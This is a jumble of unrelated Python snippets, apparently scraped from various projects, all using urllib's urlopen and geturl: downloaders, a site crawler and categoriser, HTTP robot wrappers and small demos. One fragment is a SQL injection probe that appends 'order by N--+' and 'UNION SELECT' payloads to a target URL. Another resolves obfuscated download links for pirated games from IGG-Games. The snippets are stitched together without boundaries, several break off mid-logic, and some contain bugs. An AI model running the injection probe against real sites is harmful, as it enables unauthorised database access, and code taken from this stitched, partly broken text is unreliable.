def getsrctar(url): tmp = 'tmp.tar.gz' geturl(url, tmp) tar = tarfile.open(tmp) tar.extractall() tar.close() os.remove(tmp)
def getexe(url, name): gzname = name + ".gz" geturl(url, gzname) with gzip.open(gzname, 'rb') as gz_in: with open(name, 'wb') as f_out: shutil.copyfileobj(gz_in, f_out) gz_in.close() f_out.close() os.remove(gzname)
def extractRealSupportedURI(uri): """ Returns "real" URI if it survives redirects and returns a 200. Returns None otherwise. """ realURI = None try: # this function follows the URI, resolving all redirects, # and detects redirect loops # iri2uri is needed for IRIs request = urllib.request.urlopen(httplib2.iri2uri(uri)) if request.getcode() == 200: realURI = request.geturl() except urllib.error.HTTPError as e: # something went wrong, we don't care what realURI = None except urllib.error.URLError as e: # something went wrong, we don't care what realURI = None except UnicodeError as e: # something went very wrong with the IRI decoding realURI = None return realURI
def get_photo(place_id): base_url = 'https://maps.googleapis.com/maps/api/place/details/json?' api_key = os.environ.get('GOOGLE_API_KEY') places_url = base_url + 'key=' + api_key + '&place_id=' + place_id request = urllib.request.urlopen(places_url) data = json.load(request) # to have random picture rather than first one number_of_photos = len(data['result']['photos']) selected_photo = randint(0, number_of_photos - 1) # would put selected photo instead of 0 below photo_reference = data['result']['photos'][0]['photo_reference'] photo_base_url = 'https://maps.googleapis.com/maps/api/place/photo?' photo_url = photo_base_url + 'key=' + api_key + '&photoreference=' + photo_reference + '&maxwidth=300' request = urllib.request.urlopen(photo_url) print(request.geturl()) return {"photo_url": request.geturl()}
def __is_public_repository(self, url): request = urllib.request.urlopen(url) request_url = request.geturl() if url == request_url or url.rsplit('.', 1)[0] == request_url: try: if request.getcode() == 200: return True except URLError: pass return False
def direct_download(self, image_url, path): """download data from url and save to path & optionally check if img downloaded is imgur dne file """ def are_files_equal(file1, file2): """given two file objects, check to see if their bytes are equal""" return True if bytearray(file1.read()) == bytearray( file2.read()) else False dl, skp = 0, 0 if os.path.isfile(path): raise FileExistsException("%s already exists." % os.path.basename(path)) else: try: request = urllib.request.urlopen(image_url) redirect_url = request.geturl() # check if image did not exist and url got redirected if image_url != redirect_url: self.log.debug("url, redirected_url = %s, %s" % (image_url, redirect_url)) if redirect_url == "http://imgur.com/": raise HTTPError( 404, "Image redirected to non-image link", redirect_url, None, None, ) # check if image is imgur dne image before we download anything if self.delete_dne: try: with open(self.dne_path, "rb") as dne_file: if are_files_equal(request, dne_file): if self.debug: print("[ImgurDownloader] DNE: %s" % path.split("/")[-1]) return 0, 1 except (FileNotFoundError, OSError): if self.debug: print("[ImgurDownloader] Warning: DNE image not " "found at {}".format(self.dne_path)) # proceed with downloading urllib.request.urlretrieve(image_url, path) dl = 1 except (HTTPError, FileExistsError): skp = 1 return dl, skp
def process_download_list(cache, download_dir, input_list, options): """ Process the list of waiting downloads. """ # Open cache to check if file has been downloaded if not os.path.exists(cache): if not options.cache_ignore: logging.error("Can't find cache directory") return else: logging.debug( "No cache file was found, but caching was ignored anyway" ) # Open cache file and start downloading with open(cache, 'a+') as cache_file_handle: # Split the file by lines to get rid of whitespace cached_files = cache_file_handle.read().splitlines() for title in input_list: filename = title + ".torrent" http_url = input_list[title] logging.debug("Processing: " + http_url) logging.debug("Filename resolved to: " + filename) if len(filename) < 1: logging.critical("I was not able to find you a filename!\ The file cannot be saved!") continue if (filename in cached_files) and not options.cache_ignore: logging.debug("File already downloaded: " + filename) continue if options.no_downloads: continue logging.info("Start downloading: " + filename) try: request = urllib.request.urlopen(http_url) except urllib.error.HTTPError as exception: msg = "HTTP Error: " + exception.code + " Line:" + http_url logging.info(msg) if request.geturl() != http_url: logging.info("URL Redirect - Not allowed to download") continue with open(os.path.join(download_dir, filename), 'w') as local_file: local_file.write(request.read()) logging.info("Download successful: " + filename) # Cache the downloaded file so it doesn't get downloaded again cache_file_handle.writelines(filename + "\n")
def get_valid_import_links(url): """ Open the given URL, parse the HTML and return a list of valid links where the link file has a .aiida extension. """ request = urllib.request.urlopen(url) parser = HTMLGetLinksParser(filter_extension='aiida') parser.feed(request.read().decode('utf8')) return_urls = [] for link in parser.get_links(): return_urls.append(urllib.parse.urljoin(request.geturl(), link)) return return_urls
def make_http_request_urllib(logger, url, method): url = _prepare_url_before_http_request(logger, url, method) req = urllib.request.Request(url, data=None, headers={'User-Agent': get_user_agent()}, method=method) logger.debug("urllib.request.urlopen ({}) method={}".format(url, method)) try: with urllib.request.urlopen( req, context=TRequestPolicy.SSL_CONTEXT, timeout=TRequestPolicy.HTTP_TIMEOUT) as request: data = '' if method == "HEAD" else request.read() headers = request.info() TRequestPolicy.register_successful_request() return request.geturl(), headers, data except UnicodeError as exp: raise RobotHttpException( "cannot redirect to cyrillic web domains or some unicode error", url, 520, method) except (ConnectionError, http.client.HTTPException) as exp: raise RobotHttpException(str(exp), url, 520, method) except socket.timeout as exp: logger.error("socket timeout, while getting {}: {}".format(url, exp)) raise RobotHttpException("socket.timeout", url, 504, method) except urllib.error.URLError as exp: code = -1 if hasattr(exp, 'code'): code = exp.code raise RobotHttpException("{} extype:{}".format(str(exp), type(exp)), url, code, method) # except urllib.error.HTTPError as e: if e.code == 503: TRequestPolicy.deal_with_http_code_503(logger) if e.code == 405 and method == "HEAD": return make_http_request_urllib(logger, url, "GET") raise RobotHttpException("{} extype:{}".format(str(e), type(e)), url, e.code, method)
normlen = len(start) print(normlen) for i in range(1,13): quer = '%20order%20by%20'+str(i)+'--+' #print(quer) parse = urlparse(req) qur = parse.query+quer #print(qur,type(qur)) #print(req,type(req)) parse = parse._replace(query=qur) #print(parse) url = urlunparse(parse) #print(url) request = urllib.request.urlopen(url) #print(request.info()) print(request.geturl()) html_len = len(request.read()) print(html_len) if html_len < normlen: id = i print(i-1) break print('*'*10) quer = ['%20UNION%20SELECT%201'] for i in range(2,id): quer.append(str(i)) union1 = ','.join(quer) union = union1+'--+' print(union) parse = urlparse(req)
#!/usr/bin/python3 # -*- coding: UTF-8 -*- # Filename: ex2_get_a_webpage.py # History: July 3,2018 - [Dan Chen] created # This file is written for a very simple method to get a website page from the url. from urllib import request,error url = "http://www.baidu.com" try: request = request.urlopen(url) print("geturl: ", request.geturl()) result = request.read().decode("utf-8") print(result) except error.URLError as e: if hasattr(e, 'code'): print("HTTPError") print("status code is ",e.code) elif hasattr(e,'reason'): print("URLError") print("reason is ", e.reason)
def inicio(self, hdnTxtPesquisa=None): def numeroImagem(): arq = open('c:/py/pi4/conf_imagem.txt', 'r') numero = arq.read() arq.close() arq = open('c:/py/pi4/conf_imagem.txt', 'w') arq.write(str(int(numero) + 1)) arq.close() return numero # Organiza em ordem alfabetica e retira links duplicados def trataArray(seq): seq.sort() noDupes = [] [noDupes.append(i) for i in seq if not noDupes.count(i)] return noDupes # Adiciona um texto em um arquivo def escreveArq(caminho, texto, modo): try: arq = open(caminho, modo, encoding='latin1') arq.write(texto) arq.close() return True except: return False # Faz a leitura do arquivo de configuracao das categorias def leituraConf(conf): arq = open(conf,"r", encoding='latin1') categorias = [] contador = 0 while True: line = arq.readline() if not line: break else: if(line != ''): if line[:1] == '@': categorias.append([line[1:].strip().upper(), 0, [], []]) contador += 1 else: categorias[contador - 1][2].append(line.strip().lower()) #Nome da categoria / Quantidade de palavras chaves / Lista de palavras / Lista de links return categorias def leituraHtmlBase(html_base): html = "" arq = open(html_base,"r", encoding='latin1') while True: line = arq.readline() if not line: break else: if(line != ''): html += line return html #Extrai a extensao do arquivo passado, se nao for um arquivo, ate primeiro ponto encontrado de tras para frente def extraiExtensao(texto): extensao = "" aux = "" contador = 1 while contador <= len(texto): aux = texto[len(texto) - contador] if aux != ".": extensao = str(aux) + str(extensao) contador = contador + 1 else: break return extensao def trataUrlLink(url, link): final = "" if link: link = link.strip() url = url.strip() if link != "#": if link[:7] != "http://" and link[:8] != "https://": if url[-4:] == ".php" or url[-5:] == ".html" or url[-4:] == ".htm" or url[-4:] == ".asp" or url[-4:] == ".jsp": aux = "" contador = 1 while contador <= len(url): aux = url[len(url) - contador] if aux == "/": if link[:1] != "/": final += url[:(1-contador)] + link else: final += url[:(1-contador)] + link[1:] break else: contador = contador + 1 else: final = url if final[-1:] == "/": if link[:1] != "/": final += link else: final += link[1:] else: if link[:1] != "/": final += "/" + link else: final += link else: final = link return final def categorizarPagina(soup, lista_categorias): meta_keywords_encontrado = False keywords = "" quantidade_1 = 0 quantidade_2 = 0 quantidade_3 = 0 retorno = [] retorno.append("") #Tipo de categorizacao retorno.append(0) #Quantidade de palavras-chaves encontradas (principal) retorno.append("") #Categoria definida (principal) retorno.append(0) #Quantidade de palavras-chaves encontradas (secundaria) retorno.append("") #Categoria definida (secundaria) retorno.append(0) #Quantidade de palavras-chaves encontradas (terciaria) retorno.append("") #Categoria definida (terciaria) retorno.append(0) #Quantidade de palavras mais encontrada (1) retorno.append("") #Palavra mais encontrada (1) retorno.append(0) #Quantidade de palavras mais encontrada (2) retorno.append("") #Palavra mais encontrada (2) retorno.append(0) #Quantidade de palavras mais encontrada (3) retorno.append("") #Palavra mais encontrada (3) for metas in soup.find_all('meta'): meta = metas.get('name') if meta == "keywords": meta_keywords_encontrado = True keywords = metas.get('content') retorno[0] = "Meta Tags" break if retorno[0] == "": retorno[0] = "Palavras-chaves" for categoria in lista_categorias: for palavras_chaves in categoria[2]: quant = 0 if meta_keywords_encontrado == True: quant = keywords.count(palavras_chaves) else: quant = texto_html.count(palavras_chaves) categoria[1] += quant if quant > retorno[7]: if retorno[9] >= retorno[11]: retorno[11] = retorno[9] retorno[12] = retorno[10] if retorno[7] >= retorno[9]: retorno[9] = retorno[7] retorno[10] = retorno[8] retorno[7] = quant retorno[8] = palavras_chaves elif meta_keywords_encontrado == True: if keywords.count(palavras_chaves) > retorno[9]: if retorno[9] >= retorno[11]: retorno[11] = retorno[9] retorno[12] = retorno[10] retorno[9] = quant retorno[10] = palavras_chaves elif keywords.count(palavras_chaves) > retorno[11]: retorno[11] = quant retorno[12] = palavras_chaves else: if texto_html.count(palavras_chaves) > retorno[9]: if retorno[9] >= retorno[11]: retorno[11] = retorno[9] retorno[12] = retorno[10] retorno[9] = quant retorno[10] = palavras_chaves elif texto_html.count(palavras_chaves) > retorno[11]: retorno[11] = quant retorno[12] = palavras_chaves #Verifica se ha outra categoria anterior com uma quantidade maior de palavras chaves encontradas if categoria[1] > quantidade_1: if retorno[3] >= retorno[5]: retorno[5] = retorno[3] retorno[6] = retorno[4] if retorno[1] >= retorno[3]: retorno[3] = retorno[1] retorno[4] = retorno[2] retorno[1] = categoria[1] retorno[2] = categoria[0] elif categoria[1] > quantidade_2: if retorno[3] >= retorno[5]: retorno[5] = retorno[3] retorno[6] = retorno[4] retorno[3] = categoria[1] retorno[4] = categoria[0] elif categoria[1] > quantidade_3: retorno[5] = categoria[1] retorno[6] = categoria[0] return retorno def classificaLink(links, dominio, url, lista_categorias): validado = False link_interno = False link_retorno = "" categoria = '' # Obtem o "href" dos links link = links.get('href') # Verifica se o valor de link e nulo if link is not None: # Retira os espacos em branco antes e depois do link link = link.strip() if link.count(dominio) > 0: if link[:7] == "http://" or link[:8] == "https://": if link.find(dominio) < 15: link_interno = True link_retorno = link #link_site.append(link) else: link_retorno = link #link_externo.append(link) else: aux = trataUrlLink(url, link) #Verifica se com a URL, e possivel chegar a um caminho acessivel try: urllib.request.urlopen(aux) request = urllib.request.urlopen(link_retorno) html = request.read() html = html.decode("utf-8", "ignore") #Aplica o BeautifulSoup 4 no HTML soup = BeautifulSoup(html) categoria = categorizarPagina(soup, lista_categorias) validado = True #Caso nao seja possivel, utiliza o dominio para montar a URL except: aux = trataUrlLink("http://" + dominio, link) if aux != "": link_interno = True link_retorno = aux #link_site.append(aux) elif link.count(url) > 0: link_interno = True link_retorno = link #link_site.append(link) elif link[:7] == "http://" or link[:8] == "https://": link_retorno = link #link_externo.append(link) else: aux = trataUrlLink(url, link) #Verifica se com a URL, e possivel chegar a um caminho acessivel try: urllib.request.urlopen(aux) request = urllib.request.urlopen(link_retorno) html = request.read() html = html.decode("utf-8", "ignore") #Aplica o BeautifulSoup 4 no HTML soup = BeautifulSoup(html) categoria = categorizarPagina(soup, lista_categorias) validado = True #Caso nao seja possivel, utiliza o dominio para montar a URL except: aux = trataUrlLink("http://" + dominio, link) if aux != "": link_interno = True link_retorno = aux #link_site.append(aux) #Obtem a categoria do link if validado == False: try: request = urllib.request.urlopen(link_retorno) html = request.read() html = html.decode("utf-8", "ignore") #Aplica o BeautifulSoup 4 no HTML soup = BeautifulSoup(html) categoria = categorizarPagina(soup, lista_categorias) validado = True except: return [''] retorno = [] retorno.append(link_retorno) retorno.append(link_interno) retorno.append(categoria[2]) return retorno caminho_projeto = "c:/py/pi4/" caminho_projeto_fotos = caminho_projeto + "imagens_sites/" caminho_projeto_documentos = caminho_projeto + "documentos_sites/" caminho_aux_fotos = "imagens_sites/" caminho_aux_documentos = "documentos_sites/" pasta_site = "" diretorio_inicial = "" html = "" html_site = "" html_categoria = "" html_metodo = "" html_data_inicio = "" html_data_fim = "" html_link_internos = "" html_link_externos = "" html_palavras = "" texto_log_erros = "" texto_links = "" #URL do site url = hdnTxtPesquisa.strip() #Dominio extraido da URL do site (usado na classificacao de links) dominio = "" #Arquivo de erros arquivo_erros = 'log.txt' #Arquivo de links arquivo_links = 'links.txt' #Arquivo de conclusao arquivo_fim = 'fim.txt' #Arquivo contendo as categorias e palavras chaves arquivo_conf = caminho_projeto + 'crawler.conf' #Variavel que indica que o site possui meta tags com Keywords da pagina meta_keywords_encontrado = False #Variavel que armazenara as keywords do site caso ele possua keywords = "" #Variavel que armazena a quantidade de palavras chaves encontradas quantidade_final = 0 #O nome da categoria que teve mais palavras chaves presentes no html categoria_final = "" #Variavel que ira armazenar o HTML da pagina html = "" #Variavel que ira armazenar o texto do HTML da pagina texto_html = "" #Lista com os links internos encontrados no site link_site = [] #Lista com os links externos encontrados no site link_externo = [] #Lista com os caminhos de imagens caminhos_imagens = "" #Lista com os caminhos dos arquivos caminhos_arquivos = "" diretorio_inicial = url try: #Extrai todo o HTML da pagina request = urllib.request.urlopen(url) while url != request.geturl(): url = request.geturl() request = urllib.request.urlopen(url) html = request.read() html = html.decode("utf-8", "ignore").lower() except: #RETORNO DE ERRO return "0" caminho_projeto = caminho_projeto + "sites/" #Encontra o dominio do site pela url digitada dominio = url.replace("http://www.", "").replace("https://www.", "").replace("/", "@").replace("http://", "").replace("https://", "") if dominio.find("@") != -1: dominio = dominio[:dominio.find("@")] #Aplica o BeautifulSoup 4 no HTML soup = BeautifulSoup(html) #Pega todo o texto da pagina texto_html = soup.get_text() pasta_site = diretorio_inicial.replace("http://", "").replace("/", "_") + "/" caminho_projeto = caminho_projeto + pasta_site arquivo_erros = caminho_projeto + arquivo_erros arquivo_links = caminho_projeto + arquivo_links if os.path.isfile(caminho_projeto + arquivo_fim): arq = open(caminho_projeto + arquivo_fim, 'r') retorno = arq.read() arq.close() #RETORNO CRAWLER JÁ FEITO return retorno lista_categorias = leituraConf(arquivo_conf) if not os.path.isdir(caminho_projeto): os.mkdir(caminho_projeto) html_site = url html_data_inicio = strftime("%d/%m/%Y %H:%M:%S") # ------ CATEGORIZAÇÃO DO SITE ------ retorno = categorizarPagina(soup, lista_categorias) html_metodo = retorno[0] categoria_quant_1 = retorno[1] categoria_1 = retorno[2] categoria_quant_2 = retorno[3] categoria_2 = retorno[4] categoria_quant_3 = retorno[5] categoria_3 = retorno[6] if categoria_quant_1 > 0 and categoria_quant_2 > 0 and categoria_quant_3 > 0: categoria_quant_total = int(categoria_quant_1) + int(categoria_quant_2) + int(categoria_quant_3) perc_1 = int(categoria_quant_1) / int(categoria_quant_total) * 100 perc_2 = int(categoria_quant_2) / int(categoria_quant_total) * 100 perc_3 = int(categoria_quant_3) / int(categoria_quant_total) * 100 palavra_quant_1 = retorno[7] palavra_1 = retorno[8] palavra_quant_2 = retorno[9] palavra_2 = retorno[10] palavra_quant_3 = retorno[11] palavra_3 = retorno[12] html_palavras = palavra_1 + " (" + str(palavra_quant_1) + " caso(s))" if palavra_quant_2 > 0: html_palavras = html_palavras + " - " + palavra_2 + " (" + str(palavra_quant_2) + " caso(s))" if palavra_quant_3 > 0: html_palavras = html_palavras + " - " + palavra_3 + " (" + str(palavra_quant_3) + " caso(s))" if categoria_1 == "": html_categoria = 'Nao foi possivel classificar o site em uma categoria' else: html_categoria = categoria_1 + "(" + str(perc_1) + "%)" if categoria_quant_2 > 0: html_categoria = html_categoria + " - " + categoria_2 + "(" + str(perc_2) + "%)" if categoria_quant_3 > 0: html_categoria = html_categoria + " - " + categoria_3 + "(" + str(perc_3) + "%)" else: html_categoria = 'Nao foi possivel classificar o site em uma categoria' html_palavras = 'Nao foi encontrado palavras-chaves' # ----------------------------------- # ------ OBTENÇÃO DE LINKS ------ contador = 1 total_links = len(soup.find_all('a')) #Obtem todos os links do HTML for links in soup.find_all('a'): print("Link "+str(contador)+"/"+str(total_links)) contador = contador + 1 # ---- OBTENÇÃO DE DOCUMENTOS ----- link = links.get('href') if link is not None: if link[-4:] == ".csv" or link[-4:] == ".pdf" or link[-4:] == ".doc" or link[-4:] == ".zip" or link[-4:] == ".rar" or link[-5:] == ".docx" or link[-4:] == ".xls" or link[-4:] == ".xlsx" or link[-3:] == ".7z": link = trataUrlLink("http://" + dominio, link) try: for cont in range(len(link) + 1): if link[-cont - 1] == "/": nome = link[-cont:] break local = caminho_projeto_documentos + nome urllib.request.urlretrieve(link, local) # Adiciona o documento na lista if caminhos_arquivos != "": caminhos_arquivos = caminhos_arquivos + "<#>" caminhos_arquivos = caminhos_arquivos + caminho_aux_documentos + nome + "<##>" + nome except: texto_log_erros += strftime("%d/%m/%Y %H:%M:%S") + " - Erro ao baixar arquivo: " + link + "\n" # --------------------------------- else: retorno = classificaLink(links, dominio, diretorio_inicial, lista_categorias) if retorno[0] != "": if retorno[1] == True: link_site.append(retorno[0] + "<#>" + retorno[2]) else: link_externo.append(retorno[0] + "<#>" + retorno[2]) # ------------------------------- #Organiza a lista de links encontrados link_site = trataArray(link_site) link_externo = trataArray(link_externo) lista_links_internos = "" for link in link_site: if lista_links_internos != "": lista_links_internos = lista_links_internos + "<##>" lista_links_internos = lista_links_internos + link lista_links_externos = "" for link in link_externo: if lista_links_externos != "": lista_links_externos = lista_links_externos + "<##>" lista_links_externos = lista_links_externos + link # ------ OBTENÇÃO DE IMAGENS ------ contador = 1 total_imagens = len(soup.find_all('img')) for imagens in soup.find_all('img'): print("Imagem "+str(contador)+"/"+str(total_imagens)) imagem = imagens.get('src') imagem = trataUrlLink("http://" + dominio, imagem) extensao = extraiExtensao(imagem) if extensao.count("jpg") == 0 and extensao.count("jpeg") == 0 and extensao.count("bmp") == 0 and extensao.count("gif") == 0 and extensao.count("png") == 0: texto_log_erros += strftime("%d/%m/%Y %H:%M:%S") + " - Extens\xe3o de imagem desconhecida: " + extensao + "\n" contador = contador + 1 continue local = caminho_projeto_fotos + numeroImagem() + "." + extensao if imagem is not None: try: urllib.request.urlretrieve(imagem, local) except: texto_log_erros += strftime("%d/%m/%Y %H:%M:%S") + " - Erro ao baixar imagem: " + imagem + "\n" contador = contador + 1 continue obj = os.stat(local) if obj.st_size < 1024: try: os.remove(local) except: texto_log_erros += strftime("%d/%m/%Y %H:%M:%S") + " - Erro ao remover imagem muito pequena: " + local + "\n" else: # Adiciona a imagem na lista if caminhos_imagens != "": caminhos_imagens = caminhos_imagens + "<#>" nome = "" for cont in range(len(local) + 1): if local[-cont - 1] == "/": nome = local[-cont:] break caminhos_imagens = caminhos_imagens + caminho_aux_fotos + nome contador = contador + 1 # --------------------------------- html_data_fim = strftime("%d/%m/%Y %H:%M:%S") retorno = url + "|" + html_data_inicio + "|" + html_data_fim + "|" + html_metodo + "|" + html_categoria + "|" + lista_links_internos + "|" + lista_links_externos + "|" + caminhos_imagens + "|" + caminhos_arquivos + "|" + html_palavras arq = open(caminho_projeto + arquivo_fim, 'w') arq.write(retorno) arq.close() return retorno
def main(): try: from bs4 import BeautifulSoup import urllib.request import re import pyperclip except ImportError: print( "Some modules are not installed. Run \n python -m pip install -r requirements.txt" ) exit() url_choice = input("IGG-Games Link: ") if not (url_choice.startswith("http://") or url_choice.startswith("https://")): url_choice = "http://" + url_choice req = urllib.request.Request( url_choice, data=None, headers={ 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36' }) try: request = urllib.request.urlopen(req) except urllib.error.URLError: print("URL could not be opened.") exit() soup = BeautifulSoup(request, "lxml") source_list = [] # Iterate through all sources for source in soup.find_all("b"): source_list += re.findall( r"Link [0-9]*[a-zA-Z]+\.* *[0-9]*[a-zA-Z]+\.*[a-zA-Z]*", str(source)) # Remove torrent link if available if str(source).__contains__("TORRENT"): source_list.pop(0) # Remove 'Link' text from source_list for count in range(len(source_list)): item = source_list[count] source_list[count] = item[5:] if not source_list: print("No Link sources found.") exit() for counter, value in enumerate(source_list): print(str(counter + 1) + ") " + value) source_choice = input("Choose download source: ") while not isinstance(source_choice, int): try: source_choice = int(source_choice) if source_choice > len(source_list): raise ValueError except ValueError: source_choice = input("Please enter a number between 1 and " + str(len(source_list)) + ": ") finalOutput = "" for paragraph in soup.find_all("p"): if source_list[source_choice - 1] in paragraph.text: print("\n") for hyperlink in paragraph("a"): string = hyperlink.get('href') # Check if button is already redirecting to direct link if "http://bluemediafiles.com" not in string: sec_req = urllib.request.Request( string, data=None, headers={ 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36' }) try: request = urllib.request.urlopen(sec_req) except urllib.error.URLError: print("URL could not be opened.") exit() print(request.geturl()) finalOutput += request.geturl() + "\n" else: sec_req = urllib.request.Request( string, data=None, headers={ 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36' }) try: request = urllib.request.urlopen(sec_req) except urllib.error.URLError: print("URL could not be opened.") exit() soup = BeautifulSoup(request, "lxml") for script in soup.find_all("script"): matches = re.findall( r"Goroi_n_Create_Button\(\"(.*?)\"\)", str(script)) if len(matches) > 0: string = 'https://bluemediafiles.com/get-url.php?url=' + _bluemediafiles_decodeKey( matches[0]) third_req = urllib.request.Request( string, data=None, headers={ 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36' }) try: request = urllib.request.urlopen(third_req) except urllib.error.URLError: print("URL could not be opened.") exit() print(request.geturl()) finalOutput += request.geturl() + "\n" print("\n") if input("Copy to Clipboard? y/n ").lower() == "y": pyperclip.copy(finalOutput)
def make_http_request_urllib(url, method, timeout): assert THttpRequester.logger is not None assert method in {"GET", "HEAD"} if not url.lower().startswith('http'): raise THttpRequester.RobotHttpException( 'unknown protocol, can be only http or https', url, 520, method) try: url = THttpRequester._prepare_url_before_http_request(url, method) req = urllib.request.Request( url, data=None, headers={'User-Agent': get_user_agent()}, method=method) with urllib.request.urlopen(req, context=THttpRequester.SSL_CONTEXT, timeout=timeout) as request: headers = request.info() data = '' if method == 'GET': file_extension = THttpRequester.get_file_extension_by_content_type( headers) if not is_video_or_audio_file_extension( file_extension ) or THttpRequester.ENABLE_VIDEO_AND_AUDIO: data = request.read() THttpRequester.register_successful_request() return request.geturl(), headers, data except IndexError as exp: raise THttpRequester.RobotHttpException( "general IndexError inside urllib.request.urlopen", url, 520, method) except UnicodeError as exp: raise THttpRequester.RobotHttpException( "cannot redirect to cyrillic web domains or some unicode error", url, 520, method) except (ConnectionError, http.client.HTTPException) as exp: raise THttpRequester.RobotHttpException(str(exp), url, 520, method) except socket.timeout as exp: THttpRequester.logger.error( "socket timeout, while getting {}: {}".format(url, exp)) raise THttpRequester.RobotHttpException("socket.timeout", url, 504, method) except ssl.SSLError as exp: THttpRequester.logger.error( "ssl error, while getting {}: {}".format(url, exp)) raise THttpRequester.RobotHttpException("ssl.SSLError", url, 504, method) except urllib.error.URLError as exp: code = -1 if hasattr(exp, 'code'): code = exp.code raise THttpRequester.RobotHttpException("{} extype:{}".format( str(exp), type(exp)), url, code, method) # except urllib.error.HTTPError as e: if e.code == 503: THttpRequester.deal_with_http_code_503() if e.code == 405 and method == "HEAD": return THttpRequester.make_http_request_urllib( url, "GET", timeout) raise THttpRequester.RobotHttpException( "{} extype:{}".format(str(e), type(e)), url, e.code, method)
import numpy as np import pandas as pd import requests import json #import urllib from urllib import request, parse url = 'https://www.lfd.uci.edu/~gohlke/pythonlibs/' url2 = url = r'http://www.lagou.com/zhaopin/Python/?labelWords=label' #resp = request.urlopen(url) headers = { 'User-Agent': r'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) ' r'Chrome/45.0.2454.85 Safari/537.36 115Browser/6.0.3', 'Referer': r'http://www.lagou.com/zhaopin/Python/?labelWords=label', 'Connection': 'keep-alive' } req = request.Request(url, headers=headers) page = request.urlopen(req).read() page = page.decode('utf-8') url22 = request.geturl() print(url22) #print(page)
from urllib import request if __name__ == "__main__": req = request.Request("https://www.bilibili.com/") request = request.urlopen(req) print("geturl打印信息:%s" % (request.geturl())) print('*******************************************') print("info打印信息:%s" % (request.info())) print('*****************************************') print("getcode打印信息:%s" % (request.getcode()))